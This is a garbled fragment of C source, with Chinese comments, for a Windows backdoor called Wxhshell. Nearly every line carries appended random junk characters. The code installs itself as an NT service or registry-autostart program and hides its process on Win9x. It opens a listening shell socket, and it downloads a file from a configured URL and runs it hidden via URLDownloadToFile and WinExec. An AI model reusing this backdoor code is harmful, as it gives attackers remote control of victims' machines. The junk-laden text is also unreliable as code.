} PROCESS_BASIC_INFORMATION; 8k2prv^
zIf/j k
PROCNTQSIP NtQueryInformationProcess; J1YP-:
,m{Zn"?kS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NjMbQM4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }=?kf3k
`22F@JYN
HANDLE hProcess; F4M<5Yi
PROCESS_BASIC_INFORMATION pbi; =S4_^UY;
j5|PQOK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W=&\d`><k
if(NULL == hInst ) return 0; HtgVD~[]
8TD:~ee
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;iy]mPd
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 73A1+2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;3h[=hyS
OvX z+C,
if (!NtQueryInformationProcess) return 0; Z+' 7c|a
BR8z%R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .<gAa"
if(!hProcess) return 0; uwsGtgd&
15x~[?!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p
)etl5
)3=oS1p
CloseHandle(hProcess); i{I'+%~R
`E8m>q Ss
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eVjr/nm
if(hProcess==NULL) return 0; 2BS2$#c>
|F-_YR
HMODULE hMod; [a53H$`\5
char procName[255]; ZtlF]k:MV
unsigned long cbNeeded; 67+ K
?!,
gs_"H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Os?G_ziIB
2/PaXI/Z
CloseHandle(hProcess); R{NmWj['Mg
'C]zB'H=
if(strstr(procName,"services")) return 1; // 以服务启动 _&DI_'5q+
^SpD) O{
return 0; // 注册表启动 WpP8J1KN[
} 8b8ui
K
I
// 主模块 Fx~=mYU
int StartWxhshell(LPSTR lpCmdLine) cR 4xy26s
{ Q%o ]&Hdn
SOCKET wsl; I;qeDCM
BOOL val=TRUE; R44JK
int port=0; NS6#od
ZeV
struct sockaddr_in door; GC?\GV
{# ;e{v
if(wscfg.ws_autoins) Install();
e-sMU
_M8Q%
port=atoi(lpCmdLine);
UO5^4
,}2M'DSWa
if(port<=0) port=wscfg.ws_port; x|<rt966A
/(8Usu?g.
WSADATA data; ;+>-uPT/1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /0s1q
"[L[*>[9!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BT: =
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8c`g{
*z
door.sin_family = AF_INET; *LOpbf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H^_[nL
door.sin_port = htons(port); H[U$4
%t
!lG5BOJM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G#ZU^%$M,
closesocket(wsl); H2 5Mx>|d
return 1; ZMids"Xdf
} J
[J,
@QV|<NeH
if(listen(wsl,2) == INVALID_SOCKET) { :/c=."z.
closesocket(wsl); PaP47>(
return 1; \|BtgT *$b
} B_i@D?bTD
Wxhshell(wsl); |lm
WSACleanup(); poGF
lsU|xOB
return 0; MLtfi{;LH
jY-{hW+r
} s+YQ
:>F
/zMiy?
// 以NT服务方式启动 mk~&>\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8`Q8Mct$<
{ q]T{g*lT
DWORD status = 0; cx_FtD
DWORD specificError = 0xfffffff; 3+@p
`YVdIDl]
serviceStatus.dwServiceType = SERVICE_WIN32; YK!nV ,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6]^ShOX_Z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L(XGD
serviceStatus.dwWin32ExitCode = 0; y2gI]A
serviceStatus.dwServiceSpecificExitCode = 0; lO3$V JI
serviceStatus.dwCheckPoint = 0;
ZE.nB- H
serviceStatus.dwWaitHint = 0; }OZ%U2PU
U+CZv1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NVU @m+m~
if (hServiceStatusHandle==0) return; 7pH(_-TF
)WF]v"t
status = GetLastError(); <f%JZ4p*
if (status!=NO_ERROR) xPWzm
hF
{ !*HH5qh6
serviceStatus.dwCurrentState = SERVICE_STOPPED; TUHC[#Vb?
serviceStatus.dwCheckPoint = 0; f]L`^WU
serviceStatus.dwWaitHint = 0; N`1:U
4}
serviceStatus.dwWin32ExitCode = status; 58\Rl
serviceStatus.dwServiceSpecificExitCode = specificError; {P"$;_Y"<
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
89*CoQ
return; 3%{A"^S=}
} I:CnOpR>A
mYJ%gdTpo
serviceStatus.dwCurrentState = SERVICE_RUNNING; Vz6p^kMB
serviceStatus.dwCheckPoint = 0; GGo)k1T|)
serviceStatus.dwWaitHint = 0; /)sA{q
4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mnZ/rb
} ~B;kFdcVXn
3[B*l@}j
// 处理NT服务事件,比如:启动、停止 C&YJvMu
VOID WINAPI NTServiceHandler(DWORD fdwControl) |Wd]:ijJ
{ `9E:V=
switch(fdwControl) @GDe{GG+
{ secD
`]
case SERVICE_CONTROL_STOP: _TfG-Ae
serviceStatus.dwWin32ExitCode = 0; |=L~>G
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^2%_AP0=
serviceStatus.dwCheckPoint = 0; :IlRn`9X`
serviceStatus.dwWaitHint = 0; [* ,k
{ ,*$L_itL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `WQz_}TqB
} /yPFts_q
return; ,~u 5SR
case SERVICE_CONTROL_PAUSE:
F$<>JEdX
serviceStatus.dwCurrentState = SERVICE_PAUSED; Nd'+s>d0
break; XdE#l/#
case SERVICE_CONTROL_CONTINUE: M}=X/*T
serviceStatus.dwCurrentState = SERVICE_RUNNING; "
2A`M~
break; Wew'bj
case SERVICE_CONTROL_INTERROGATE: &
9}L +/,
break; (jd)sf6Tj[
}; by!1L1[JTt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JX8Hn |
} Zz}Wg@&
Bd jo3eX
// 标准应用程序主函数 *@/1]W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Q"w)Ta
{ R#gt~]x6k
nt.A X
// 获取操作系统版本 &?UIe]
OsIsNt=GetOsVer(); -x)Oo`
GetModuleFileName(NULL,ExeFile,MAX_PATH); AdB B#zd
soh)IfZ
// 从命令行安装 @yiAi:v@
if(strpbrk(lpCmdLine,"iI")) Install(); H~IR:WOw
`>KB8SY:qK
// 下载执行文件 95LZG1]Rb
if(wscfg.ws_downexe) { =?g26>dYo
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]D_"tQ?i
WinExec(wscfg.ws_filenam,SW_HIDE); qn)
VKx=
} |s[kY
2yZ/'}Mw
if(!OsIsNt) { h&@A'om~
// 如果时win9x,隐藏进程并且设置为注册表启动 ZGO%lkZ.
HideProc(); 0?OTa<c
StartWxhshell(lpCmdLine); h6J0b_3h4
} M"# >?6{
else x&}pM}ea
if(StartFromService()) 8CCd6)cG
// 以服务方式启动 ]."~)
StartServiceCtrlDispatcher(DispatchTable); P`r@<cgb=
else #tX\m;
// 普通方式启动 =v^LShD2^
StartWxhshell(lpCmdLine); %+Hhe]J ld
c6/+Ye =h
return 0; Wy1#K)LRb
}